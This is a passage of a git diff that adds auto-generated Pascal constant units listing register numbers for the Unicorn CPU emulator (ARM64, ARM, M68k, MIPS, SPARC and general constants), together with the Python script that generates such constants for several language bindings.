UC_ARM64_REG_S4 = 140; + UC_ARM64_REG_S5 = 141; + UC_ARM64_REG_S6 = 142; + UC_ARM64_REG_S7 = 143; + UC_ARM64_REG_S8 = 144; + UC_ARM64_REG_S9 = 145; + UC_ARM64_REG_S10 = 146; + UC_ARM64_REG_S11 = 147; + UC_ARM64_REG_S12 = 148; + UC_ARM64_REG_S13 = 149; + UC_ARM64_REG_S14 = 150; + UC_ARM64_REG_S15 = 151; + UC_ARM64_REG_S16 = 152; + UC_ARM64_REG_S17 = 153; + UC_ARM64_REG_S18 = 154; + UC_ARM64_REG_S19 = 155; + UC_ARM64_REG_S20 = 156; + UC_ARM64_REG_S21 = 157; + UC_ARM64_REG_S22 = 158; + UC_ARM64_REG_S23 = 159; + UC_ARM64_REG_S24 = 160; + UC_ARM64_REG_S25 = 161; + UC_ARM64_REG_S26 = 162; + UC_ARM64_REG_S27 = 163; + UC_ARM64_REG_S28 = 164; + UC_ARM64_REG_S29 = 165; + UC_ARM64_REG_S30 = 166; + UC_ARM64_REG_S31 = 167; + UC_ARM64_REG_W0 = 168; + UC_ARM64_REG_W1 = 169; + UC_ARM64_REG_W2 = 170; + UC_ARM64_REG_W3 = 171; + UC_ARM64_REG_W4 = 172; + UC_ARM64_REG_W5 = 173; + UC_ARM64_REG_W6 = 174; + UC_ARM64_REG_W7 = 175; + UC_ARM64_REG_W8 = 176; + UC_ARM64_REG_W9 = 177; + UC_ARM64_REG_W10 = 178; + UC_ARM64_REG_W11 = 179; + UC_ARM64_REG_W12 = 180; + UC_ARM64_REG_W13 = 181; + UC_ARM64_REG_W14 = 182; + UC_ARM64_REG_W15 = 183; + UC_ARM64_REG_W16 = 184; + UC_ARM64_REG_W17 = 185; + UC_ARM64_REG_W18 = 186; + UC_ARM64_REG_W19 = 187; + UC_ARM64_REG_W20 = 188; + UC_ARM64_REG_W21 = 189; + UC_ARM64_REG_W22 = 190; + UC_ARM64_REG_W23 = 191; + UC_ARM64_REG_W24 = 192; + UC_ARM64_REG_W25 = 193; + UC_ARM64_REG_W26 = 194; + UC_ARM64_REG_W27 = 195; + UC_ARM64_REG_W28 = 196; + UC_ARM64_REG_W29 = 197; + UC_ARM64_REG_W30 = 198; + UC_ARM64_REG_X0 = 199; + UC_ARM64_REG_X1 = 200; + UC_ARM64_REG_X2 = 201; + UC_ARM64_REG_X3 = 202; + UC_ARM64_REG_X4 = 203; + UC_ARM64_REG_X5 = 204; + UC_ARM64_REG_X6 = 205; + UC_ARM64_REG_X7 = 206; + UC_ARM64_REG_X8 = 207; + UC_ARM64_REG_X9 = 208; + UC_ARM64_REG_X10 = 209; + UC_ARM64_REG_X11 = 210; + UC_ARM64_REG_X12 = 211; + UC_ARM64_REG_X13 = 212; + UC_ARM64_REG_X14 = 213; + UC_ARM64_REG_X15 = 214; + UC_ARM64_REG_X16 = 215; + UC_ARM64_REG_X17 = 216; + UC_ARM64_REG_X18 = 217; + UC_ARM64_REG_X19 = 218; + UC_ARM64_REG_X20 = 219; + UC_ARM64_REG_X21 = 220; + UC_ARM64_REG_X22 = 221; + UC_ARM64_REG_X23 = 222; + UC_ARM64_REG_X24 = 223; + UC_ARM64_REG_X25 = 224; + UC_ARM64_REG_X26 = 225; + UC_ARM64_REG_X27 = 226; + UC_ARM64_REG_X28 = 227; + UC_ARM64_REG_V0 = 228; + UC_ARM64_REG_V1 = 229; + UC_ARM64_REG_V2 = 230; + UC_ARM64_REG_V3 = 231; + UC_ARM64_REG_V4 = 232; + UC_ARM64_REG_V5 = 233; + UC_ARM64_REG_V6 = 234; + UC_ARM64_REG_V7 = 235; + UC_ARM64_REG_V8 = 236; + UC_ARM64_REG_V9 = 237; + UC_ARM64_REG_V10 = 238; + UC_ARM64_REG_V11 = 239; + UC_ARM64_REG_V12 = 240; + UC_ARM64_REG_V13 = 241; + UC_ARM64_REG_V14 = 242; + UC_ARM64_REG_V15 = 243; + UC_ARM64_REG_V16 = 244; + UC_ARM64_REG_V17 = 245; + UC_ARM64_REG_V18 = 246; + UC_ARM64_REG_V19 = 247; + UC_ARM64_REG_V20 = 248; + UC_ARM64_REG_V21 = 249; + UC_ARM64_REG_V22 = 250; + UC_ARM64_REG_V23 = 251; + UC_ARM64_REG_V24 = 252; + UC_ARM64_REG_V25 = 253; + UC_ARM64_REG_V26 = 254; + UC_ARM64_REG_V27 = 255; + UC_ARM64_REG_V28 = 256; + UC_ARM64_REG_V29 = 257; + UC_ARM64_REG_V30 = 258; + UC_ARM64_REG_V31 = 259; + +// pseudo registers + UC_ARM64_REG_PC = 260; + UC_ARM64_REG_CPACR_EL1 = 261; + +// thread registers + UC_ARM64_REG_TPIDR_EL0 = 262; + UC_ARM64_REG_TPIDRRO_EL0 = 263; + UC_ARM64_REG_TPIDR_EL1 = 264; + UC_ARM64_REG_ENDING = 265; + +// alias registers + UC_ARM64_REG_IP0 = 215; + UC_ARM64_REG_IP1 = 216; + UC_ARM64_REG_FP = 1; + UC_ARM64_REG_LR = 2; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/ArmConst.pas b/Core/unicorn/ArmConst.pas new file mode 100644 index 0000000..aa66f11 --- /dev/null +++ b/Core/unicorn/ArmConst.pas @@ -0,0 +1,136 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit ArmConst; + +interface + +const +// ARM registers + + UC_ARM_REG_INVALID = 0; + UC_ARM_REG_APSR = 1; + UC_ARM_REG_APSR_NZCV = 2; + UC_ARM_REG_CPSR = 3; + UC_ARM_REG_FPEXC = 4; + UC_ARM_REG_FPINST = 5; + UC_ARM_REG_FPSCR = 6; + UC_ARM_REG_FPSCR_NZCV = 7; + UC_ARM_REG_FPSID = 8; + UC_ARM_REG_ITSTATE = 9; + UC_ARM_REG_LR = 10; + UC_ARM_REG_PC = 11; + UC_ARM_REG_SP = 12; + UC_ARM_REG_SPSR = 13; + UC_ARM_REG_D0 = 14; + UC_ARM_REG_D1 = 15; + UC_ARM_REG_D2 = 16; + UC_ARM_REG_D3 = 17; + UC_ARM_REG_D4 = 18; + UC_ARM_REG_D5 = 19; + UC_ARM_REG_D6 = 20; + UC_ARM_REG_D7 = 21; + UC_ARM_REG_D8 = 22; + UC_ARM_REG_D9 = 23; + UC_ARM_REG_D10 = 24; + UC_ARM_REG_D11 = 25; + UC_ARM_REG_D12 = 26; + UC_ARM_REG_D13 = 27; + UC_ARM_REG_D14 = 28; + UC_ARM_REG_D15 = 29; + UC_ARM_REG_D16 = 30; + UC_ARM_REG_D17 = 31; + UC_ARM_REG_D18 = 32; + UC_ARM_REG_D19 = 33; + UC_ARM_REG_D20 = 34; + UC_ARM_REG_D21 = 35; + UC_ARM_REG_D22 = 36; + UC_ARM_REG_D23 = 37; + UC_ARM_REG_D24 = 38; + UC_ARM_REG_D25 = 39; + UC_ARM_REG_D26 = 40; + UC_ARM_REG_D27 = 41; + UC_ARM_REG_D28 = 42; + UC_ARM_REG_D29 = 43; + UC_ARM_REG_D30 = 44; + UC_ARM_REG_D31 = 45; + UC_ARM_REG_FPINST2 = 46; + UC_ARM_REG_MVFR0 = 47; + UC_ARM_REG_MVFR1 = 48; + UC_ARM_REG_MVFR2 = 49; + UC_ARM_REG_Q0 = 50; + UC_ARM_REG_Q1 = 51; + UC_ARM_REG_Q2 = 52; + UC_ARM_REG_Q3 = 53; + UC_ARM_REG_Q4 = 54; + UC_ARM_REG_Q5 = 55; + UC_ARM_REG_Q6 = 56; + UC_ARM_REG_Q7 = 57; + UC_ARM_REG_Q8 = 58; + UC_ARM_REG_Q9 = 59; + UC_ARM_REG_Q10 = 60; + UC_ARM_REG_Q11 = 61; + UC_ARM_REG_Q12 = 62; + UC_ARM_REG_Q13 = 63; + UC_ARM_REG_Q14 = 64; + UC_ARM_REG_Q15 = 65; + UC_ARM_REG_R0 = 66; + UC_ARM_REG_R1 = 67; + UC_ARM_REG_R2 = 68; + UC_ARM_REG_R3 = 69; + UC_ARM_REG_R4 = 70; + UC_ARM_REG_R5 = 71; + UC_ARM_REG_R6 = 72; + UC_ARM_REG_R7 = 73; + UC_ARM_REG_R8 = 74; + UC_ARM_REG_R9 = 75; + UC_ARM_REG_R10 = 76; + UC_ARM_REG_R11 = 77; + UC_ARM_REG_R12 = 78; + UC_ARM_REG_S0 = 79; + UC_ARM_REG_S1 = 80; + UC_ARM_REG_S2 = 81; + UC_ARM_REG_S3 = 82; + UC_ARM_REG_S4 = 83; + UC_ARM_REG_S5 = 84; + UC_ARM_REG_S6 = 85; + UC_ARM_REG_S7 = 86; + UC_ARM_REG_S8 = 87; + UC_ARM_REG_S9 = 88; + UC_ARM_REG_S10 = 89; + UC_ARM_REG_S11 = 90; + UC_ARM_REG_S12 = 91; + UC_ARM_REG_S13 = 92; + UC_ARM_REG_S14 = 93; + UC_ARM_REG_S15 = 94; + UC_ARM_REG_S16 = 95; + UC_ARM_REG_S17 = 96; + UC_ARM_REG_S18 = 97; + UC_ARM_REG_S19 = 98; + UC_ARM_REG_S20 = 99; + UC_ARM_REG_S21 = 100; + UC_ARM_REG_S22 = 101; + UC_ARM_REG_S23 = 102; + UC_ARM_REG_S24 = 103; + UC_ARM_REG_S25 = 104; + UC_ARM_REG_S26 = 105; + UC_ARM_REG_S27 = 106; + UC_ARM_REG_S28 = 107; + UC_ARM_REG_S29 = 108; + UC_ARM_REG_S30 = 109; + UC_ARM_REG_S31 = 110; + UC_ARM_REG_C1_C0_2 = 111; + UC_ARM_REG_C13_C0_2 = 112; + UC_ARM_REG_C13_C0_3 = 113; + UC_ARM_REG_ENDING = 114; + +// alias registers + UC_ARM_REG_R13 = 12; + UC_ARM_REG_R14 = 10; + UC_ARM_REG_R15 = 11; + UC_ARM_REG_SB = 75; + UC_ARM_REG_SL = 76; + UC_ARM_REG_FP = 77; + UC_ARM_REG_IP = 78; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/GenerateConsts.py b/Core/unicorn/GenerateConsts.py new file mode 100644 index 0000000..bdc76b8 --- /dev/null +++ b/Core/unicorn/GenerateConsts.py @@ -0,0 +1,196 @@ +# Unicorn Engine +# By Dang Hoang Vu, 2013 +from __future__ import print_function +import sys, re, os + +INCL_DIR = os.path.join('include', 'unicorn') + +include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h', 'unicorn.h' ] + +template = { + 'python': { + 'header': "# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.py]\n", + 'footer': "", + 'line_format': 'UC_%s = %s\n', + 'out_file': './python/unicorn/%s_const.py', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '#', + 'comment_close': '', + }, + 'ruby': { + 'header': "# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.rb]\n\nmodule UnicornEngine\n", + 'footer': "end", + 'line_format': '\tUC_%s = %s\n', + 'out_file': './ruby/unicorn_gem/lib/unicorn_engine/%s_const.rb', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '#', + 'comment_close': '', + }, + 'go': { + 'header': "package unicorn\n// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.go]\nconst (\n", + 'footer': ")", + 'line_format': '\t%s = %s\n', + 'out_file': './go/unicorn/%s_const.go', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '//', + 'comment_close': '', + }, + 'java': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n", + 'footer': "\n}\n", + 'line_format': ' public static final int UC_%s = %s;\n', + 'out_file': './java/unicorn/%sConst.java', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Unicorn', + 'comment_open': '//', + 'comment_close': '', + }, + 'dotnet': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\nnamespace UnicornManaged.Const\n\nopen System\n\n[<AutoOpen>]\nmodule %s =\n", + 'footer': "\n", + 'line_format': ' let UC_%s = %s\n', + 'out_file': os.path.join('dotnet', 'UnicornManaged', 'Const', '%s.fs'), + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Common', + 'comment_open': '//', + 'comment_close': '', + }, + 'pascal': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\nunit %sConst;\n\ninterface\n\nconst", + 'footer': "\nimplementation\nend.", + 'line_format': ' UC_%s = %s;\n', + 'out_file': './%sConst.pas', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Unicorn', + 'comment_open': '//', + 'comment_close': '', + }, +} + +# markup for comments to be added to autogen files +MARKUP = '//>' + +def gen(lang): + global include, INCL_DIR + templ = template[lang] + for target in include: + prefix = templ[target] + outfile = open(templ['out_file'] %(prefix), 'wb') # open as binary prevents windows newlines + outfile.write((templ['header'] % (prefix)).encode("utf-8")) + if target == 'unicorn.h': + prefix = '' + lines = open(os.path.join(INCL_DIR, target)).readlines() + + previous = {} + count = 0 + for line in lines: + line = line.strip() + + if line.startswith(MARKUP): # markup for comments + outfile.write(("\n%s%s%s\n" %(templ['comment_open'], \ + line.replace(MARKUP, ''), templ['comment_close'])).encode("utf-8")) + continue + + if line == '' or line.startswith('//'): + continue + + tmp = line.strip().split(',') + for t in tmp: + t = t.strip() + if not t or t.startswith('//'): continue + f = re.split('\s+', t) + + # parse #define UC_TARGET (num) + define = False + if f[0] == '#define' and len(f) >= 3: + define = True + f.pop(0) + f.insert(1, '=') + + if f[0].startswith("UC_" + prefix.upper()): + if len(f) > 1 and f[1] not in ('//', '='): + print("WARNING: Unable to convert %s" % f) + print(" Line =", line) + continue + elif len(f) > 1 and f[1] == '=': + rhs = ''.join(f[2:]) + else: + rhs = str(count) + + lhs = f[0].strip() + # evaluate bitshifts in constants e.g. "UC_X86 = 1 << 1" + match = re.match(r'(?P<rhs>\s*\d+\s*<<\s*\d+\s*)', rhs) + if match: + rhs = str(eval(match.group(1))) + else: + # evaluate references to other constants e.g. "UC_ARM_REG_X = UC_ARM_REG_SP" + match = re.match(r'^([^\d]\w+)$', rhs) + if match: + rhs = previous[match.group(1)] + + if not rhs.isdigit(): + for k, v in previous.items(): + rhs = re.sub(r'\b%s\b' % k, v, rhs) + rhs = str(eval(rhs)) + + lhs_strip = re.sub(r'^UC_', '', lhs) + count = int(rhs) + 1 + if (count == 1): + outfile.write(("\n").encode("utf-8")) + + outfile.write((templ['line_format'] % (lhs_strip, rhs)).encode("utf-8")) + previous[lhs] = str(rhs) + + outfile.write((templ['footer']).encode("utf-8")) + outfile.close() + +def main(): + lang = sys.argv[1] + if not lang in template: + raise RuntimeError("Unsupported binding %s" % lang) + gen(sys.argv[1]) + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage:", sys.argv[0], " <python>") + sys.exit(1) + main() \ No newline at end of file diff --git a/Core/unicorn/M68kConst.pas b/Core/unicorn/M68kConst.pas new file mode 100644 index 0000000..be78f78 --- /dev/null +++ b/Core/unicorn/M68kConst.pas @@ -0,0 +1,32 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit M68kConst; + +interface + +const +// M68K registers + + UC_M68K_REG_INVALID = 0; + UC_M68K_REG_A0 = 1; + UC_M68K_REG_A1 = 2; + UC_M68K_REG_A2 = 3; + UC_M68K_REG_A3 = 4; + UC_M68K_REG_A4 = 5; + UC_M68K_REG_A5 = 6; + UC_M68K_REG_A6 = 7; + UC_M68K_REG_A7 = 8; + UC_M68K_REG_D0 = 9; + UC_M68K_REG_D1 = 10; + UC_M68K_REG_D2 = 11; + UC_M68K_REG_D3 = 12; + UC_M68K_REG_D4 = 13; + UC_M68K_REG_D5 = 14; + UC_M68K_REG_D6 = 15; + UC_M68K_REG_D7 = 16; + UC_M68K_REG_SR = 17; + UC_M68K_REG_PC = 18; + UC_M68K_REG_ENDING = 19; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/MipsConst.pas b/Core/unicorn/MipsConst.pas new file mode 100644 index 0000000..4094eb7 --- /dev/null +++ b/Core/unicorn/MipsConst.pas @@ -0,0 +1,203 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit MipsConst; + +interface + +const +// MIPS registers + + UC_MIPS_REG_INVALID = 0; + +// General purpose registers + UC_MIPS_REG_PC = 1; + UC_MIPS_REG_0 = 2; + UC_MIPS_REG_1 = 3; + UC_MIPS_REG_2 = 4; + UC_MIPS_REG_3 = 5; + UC_MIPS_REG_4 = 6; + UC_MIPS_REG_5 = 7; + UC_MIPS_REG_6 = 8; + UC_MIPS_REG_7 = 9; + UC_MIPS_REG_8 = 10; + UC_MIPS_REG_9 = 11; + UC_MIPS_REG_10 = 12; + UC_MIPS_REG_11 = 13; + UC_MIPS_REG_12 = 14; + UC_MIPS_REG_13 = 15; + UC_MIPS_REG_14 = 16; + UC_MIPS_REG_15 = 17; + UC_MIPS_REG_16 = 18; + UC_MIPS_REG_17 = 19; + UC_MIPS_REG_18 = 20; + UC_MIPS_REG_19 = 21; + UC_MIPS_REG_20 = 22; + UC_MIPS_REG_21 = 23; + UC_MIPS_REG_22 = 24; + UC_MIPS_REG_23 = 25; + UC_MIPS_REG_24 = 26; + UC_MIPS_REG_25 = 27; + UC_MIPS_REG_26 = 28; + UC_MIPS_REG_27 = 29; + UC_MIPS_REG_28 = 30; + UC_MIPS_REG_29 = 31; + UC_MIPS_REG_30 = 32; + UC_MIPS_REG_31 = 33; + +// DSP registers + UC_MIPS_REG_DSPCCOND = 34; + UC_MIPS_REG_DSPCARRY = 35; + UC_MIPS_REG_DSPEFI = 36; + UC_MIPS_REG_DSPOUTFLAG = 37; + UC_MIPS_REG_DSPOUTFLAG16_19 = 38; + UC_MIPS_REG_DSPOUTFLAG20 = 39; + UC_MIPS_REG_DSPOUTFLAG21 = 40; + UC_MIPS_REG_DSPOUTFLAG22 = 41; + UC_MIPS_REG_DSPOUTFLAG23 = 42; + UC_MIPS_REG_DSPPOS = 43; + UC_MIPS_REG_DSPSCOUNT = 44; + +// ACC registers + UC_MIPS_REG_AC0 = 45; + UC_MIPS_REG_AC1 = 46; + UC_MIPS_REG_AC2 = 47; + UC_MIPS_REG_AC3 = 48; + +// COP registers + UC_MIPS_REG_CC0 = 49; + UC_MIPS_REG_CC1 = 50; + UC_MIPS_REG_CC2 = 51; + UC_MIPS_REG_CC3 = 52; + UC_MIPS_REG_CC4 = 53; + UC_MIPS_REG_CC5 = 54; + UC_MIPS_REG_CC6 = 55; + UC_MIPS_REG_CC7 = 56; + +// FPU registers + UC_MIPS_REG_F0 = 57; + UC_MIPS_REG_F1 = 58; + UC_MIPS_REG_F2 = 59; + UC_MIPS_REG_F3 = 60; + UC_MIPS_REG_F4 = 61; + UC_MIPS_REG_F5 = 62; + UC_MIPS_REG_F6 = 63; + UC_MIPS_REG_F7 = 64; + UC_MIPS_REG_F8 = 65; + UC_MIPS_REG_F9 = 66; + UC_MIPS_REG_F10 = 67; + UC_MIPS_REG_F11 = 68; + UC_MIPS_REG_F12 = 69; + UC_MIPS_REG_F13 = 70; + UC_MIPS_REG_F14 = 71; + UC_MIPS_REG_F15 = 72; + UC_MIPS_REG_F16 = 73; + UC_MIPS_REG_F17 = 74; + UC_MIPS_REG_F18 = 75; + UC_MIPS_REG_F19 = 76; + UC_MIPS_REG_F20 = 77; + UC_MIPS_REG_F21 = 78; + UC_MIPS_REG_F22 = 79; + UC_MIPS_REG_F23 = 80; + UC_MIPS_REG_F24 = 81; + UC_MIPS_REG_F25 = 82; + UC_MIPS_REG_F26 = 83; + UC_MIPS_REG_F27 = 84; + UC_MIPS_REG_F28 = 85; + UC_MIPS_REG_F29 = 86; + UC_MIPS_REG_F30 = 87; + UC_MIPS_REG_F31 = 88; + UC_MIPS_REG_FCC0 = 89; + UC_MIPS_REG_FCC1 = 90; + UC_MIPS_REG_FCC2 = 91; + UC_MIPS_REG_FCC3 = 92; + UC_MIPS_REG_FCC4 = 93; + UC_MIPS_REG_FCC5 = 94; + UC_MIPS_REG_FCC6 = 95; + UC_MIPS_REG_FCC7 = 96; + +// AFPR128 + UC_MIPS_REG_W0 = 97; + UC_MIPS_REG_W1 = 98; + UC_MIPS_REG_W2 = 99; + UC_MIPS_REG_W3 = 100; + UC_MIPS_REG_W4 = 101; + UC_MIPS_REG_W5 = 102; + UC_MIPS_REG_W6 = 103; + UC_MIPS_REG_W7 = 104; + UC_MIPS_REG_W8 = 105; + UC_MIPS_REG_W9 = 106; + UC_MIPS_REG_W10 = 107; + UC_MIPS_REG_W11 = 108; + UC_MIPS_REG_W12 = 109; + UC_MIPS_REG_W13 = 110; + UC_MIPS_REG_W14 = 111; + UC_MIPS_REG_W15 = 112; + UC_MIPS_REG_W16 = 113; + UC_MIPS_REG_W17 = 114; + UC_MIPS_REG_W18 = 115; + UC_MIPS_REG_W19 = 116; + UC_MIPS_REG_W20 = 117; + UC_MIPS_REG_W21 = 118; + UC_MIPS_REG_W22 = 119; + UC_MIPS_REG_W23 = 120; + UC_MIPS_REG_W24 = 121; + UC_MIPS_REG_W25 = 122; + UC_MIPS_REG_W26 = 123; + UC_MIPS_REG_W27 = 124; + UC_MIPS_REG_W28 = 125; + UC_MIPS_REG_W29 = 126; + UC_MIPS_REG_W30 = 127; + UC_MIPS_REG_W31 = 128; + UC_MIPS_REG_HI = 129; + UC_MIPS_REG_LO = 130; + UC_MIPS_REG_P0 = 131; + UC_MIPS_REG_P1 = 132; + UC_MIPS_REG_P2 = 133; + UC_MIPS_REG_MPL0 = 134; + UC_MIPS_REG_MPL1 = 135; + UC_MIPS_REG_MPL2 = 136; + UC_MIPS_REG_ENDING = 137; + UC_MIPS_REG_ZERO = 2; + UC_MIPS_REG_AT = 3; + UC_MIPS_REG_V0 = 4; + UC_MIPS_REG_V1 = 5; + UC_MIPS_REG_A0 = 6; + UC_MIPS_REG_A1 = 7; + UC_MIPS_REG_A2 = 8; + UC_MIPS_REG_A3 = 9; + UC_MIPS_REG_T0 = 10; + UC_MIPS_REG_T1 = 11; + UC_MIPS_REG_T2 = 12; + UC_MIPS_REG_T3 = 13; + UC_MIPS_REG_T4 = 14; + UC_MIPS_REG_T5 = 15; + UC_MIPS_REG_T6 = 16; + UC_MIPS_REG_T7 = 17; + UC_MIPS_REG_S0 = 18; + UC_MIPS_REG_S1 = 19; + UC_MIPS_REG_S2 = 20; + UC_MIPS_REG_S3 = 21; + UC_MIPS_REG_S4 = 22; + UC_MIPS_REG_S5 = 23; + UC_MIPS_REG_S6 = 24; + UC_MIPS_REG_S7 = 25; + UC_MIPS_REG_T8 = 26; + UC_MIPS_REG_T9 = 27; + UC_MIPS_REG_K0 = 28; + UC_MIPS_REG_K1 = 29; + UC_MIPS_REG_GP = 30; + UC_MIPS_REG_SP = 31; + UC_MIPS_REG_FP = 32; + UC_MIPS_REG_S8 = 32; + UC_MIPS_REG_RA = 33; + UC_MIPS_REG_HI0 = 45; + UC_MIPS_REG_HI1 = 46; + UC_MIPS_REG_HI2 = 47; + UC_MIPS_REG_HI3 = 48; + UC_MIPS_REG_LO0 = 45; + UC_MIPS_REG_LO1 = 46; + UC_MIPS_REG_LO2 = 47; + UC_MIPS_REG_LO3 = 48; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/SparcConst.pas b/Core/unicorn/SparcConst.pas new file mode 100644 index 0000000..32ed301 --- /dev/null +++ b/Core/unicorn/SparcConst.pas @@ -0,0 +1,104 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit SparcConst; + +interface + +const +// SPARC registers + + UC_SPARC_REG_INVALID = 0; + UC_SPARC_REG_F0 = 1; + UC_SPARC_REG_F1 = 2; + UC_SPARC_REG_F2 = 3; + UC_SPARC_REG_F3 = 4; + UC_SPARC_REG_F4 = 5; + UC_SPARC_REG_F5 = 6; + UC_SPARC_REG_F6 = 7; + UC_SPARC_REG_F7 = 8; + UC_SPARC_REG_F8 = 9; + UC_SPARC_REG_F9 = 10; + UC_SPARC_REG_F10 = 11; + UC_SPARC_REG_F11 = 12; + UC_SPARC_REG_F12 = 13; + UC_SPARC_REG_F13 = 14; + UC_SPARC_REG_F14 = 15; + UC_SPARC_REG_F15 = 16; + UC_SPARC_REG_F16 = 17; + UC_SPARC_REG_F17 = 18; + UC_SPARC_REG_F18 = 19; + UC_SPARC_REG_F19 = 20; + UC_SPARC_REG_F20 = 21; + UC_SPARC_REG_F21 = 22; + UC_SPARC_REG_F22 = 23; + UC_SPARC_REG_F23 = 24; + UC_SPARC_REG_F24 = 25; + UC_SPARC_REG_F25 = 26; + UC_SPARC_REG_F26 = 27; + UC_SPARC_REG_F27 = 28; + UC_SPARC_REG_F28 = 29; + UC_SPARC_REG_F29 = 30; + UC_SPARC_REG_F30 = 31; + UC_SPARC_REG_F31 = 32; + UC_SPARC_REG_F32 = 33; + UC_SPARC_REG_F34 = 34; + UC_SPARC_REG_F36 = 35; + UC_SPARC_REG_F38 = 36; + UC_SPARC_REG_F40 = 37; + UC_SPARC_REG_F42 = 38; + UC_SPARC_REG_F44 = 39; + UC_SPARC_REG_F46 = 40; + UC_SPARC_REG_F48 = 41; + UC_SPARC_REG_F50 = 42; + UC_SPARC_REG_F52 = 43; + UC_SPARC_REG_F54 = 44; + UC_SPARC_REG_F56 = 45; + UC_SPARC_REG_F58 = 46; + UC_SPARC_REG_F60 = 47; + UC_SPARC_REG_F62 = 48; + UC_SPARC_REG_FCC0 = 49; + UC_SPARC_REG_FCC1 = 50; + UC_SPARC_REG_FCC2 = 51; + UC_SPARC_REG_FCC3 = 52; + UC_SPARC_REG_G0 = 53; + UC_SPARC_REG_G1 = 54; + UC_SPARC_REG_G2 = 55; + UC_SPARC_REG_G3 = 56; + UC_SPARC_REG_G4 = 57; + UC_SPARC_REG_G5 = 58; + UC_SPARC_REG_G6 = 59; + UC_SPARC_REG_G7 = 60; + UC_SPARC_REG_I0 = 61; + UC_SPARC_REG_I1 = 62; + UC_SPARC_REG_I2 = 63; + UC_SPARC_REG_I3 = 64; + UC_SPARC_REG_I4 = 65; + UC_SPARC_REG_I5 = 66; + UC_SPARC_REG_FP = 67; + UC_SPARC_REG_I7 = 68; + UC_SPARC_REG_ICC = 69; + UC_SPARC_REG_L0 = 70; + UC_SPARC_REG_L1 = 71; + UC_SPARC_REG_L2 = 72; + UC_SPARC_REG_L3 = 73; + UC_SPARC_REG_L4 = 74; + UC_SPARC_REG_L5 = 75; + UC_SPARC_REG_L6 = 76; + UC_SPARC_REG_L7 = 77; + UC_SPARC_REG_O0 = 78; + UC_SPARC_REG_O1 = 79; + UC_SPARC_REG_O2 = 80; + UC_SPARC_REG_O3 = 81; + UC_SPARC_REG_O4 = 82; + UC_SPARC_REG_O5 = 83; + UC_SPARC_REG_SP = 84; + UC_SPARC_REG_O7 = 85; + UC_SPARC_REG_Y = 86; + UC_SPARC_REG_XCC = 87; + UC_SPARC_REG_PC = 88; + UC_SPARC_REG_ENDING = 89; + UC_SPARC_REG_O6 = 84; + UC_SPARC_REG_I6 = 67; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/UnicornConst.pas b/Core/unicorn/UnicornConst.pas new file mode 100644 index 0000000..5c44151 --- /dev/null +++ b/Core/unicorn/UnicornConst.pas @@ -0,0 +1,111 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit UnicornConst; + +interface + +const UC_API_MAJOR = 1; + + UC_API_MINOR = 0; + UC_VERSION_MAJOR = 1; + + UC_VERSION_MINOR = 0; + UC_VERSION_EXTRA = 2; + UC_SECOND_SCALE = 1000000; + UC_MILISECOND_SCALE = 1000; + UC_ARCH_ARM = 1; + UC_ARCH_ARM64 = 2; + UC_ARCH_MIPS = 3; + UC_ARCH_X86 = 4; + UC_ARCH_PPC = 5; + UC_ARCH_SPARC = 6; + UC_ARCH_M68K = 7; + UC_ARCH_MAX = 8; + + UC_MODE_LITTLE_ENDIAN = 0; + UC_MODE_BIG_ENDIAN = 1073741824; + + UC_MODE_ARM = 0; + UC_MODE_THUMB = 16; + UC_MODE_MCLASS = 32; + UC_MODE_V8 = 64; + UC_MODE_MICRO = 16; + UC_MODE_MIPS3 = 32; + UC_MODE_MIPS32R6 = 64; + UC_MODE_MIPS32 = 4; + UC_MODE_MIPS64 = 8; + UC_MODE_16 = 2; + UC_MODE_32 = 4; + UC_MODE_64 = 8; + UC_MODE_PPC32 = 4; + UC_MODE_PPC64 = 8; + UC_MODE_QPX = 16; + UC_MODE_SPARC32 = 4; + UC_MODE_SPARC64 = 8; + UC_MODE_V9 = 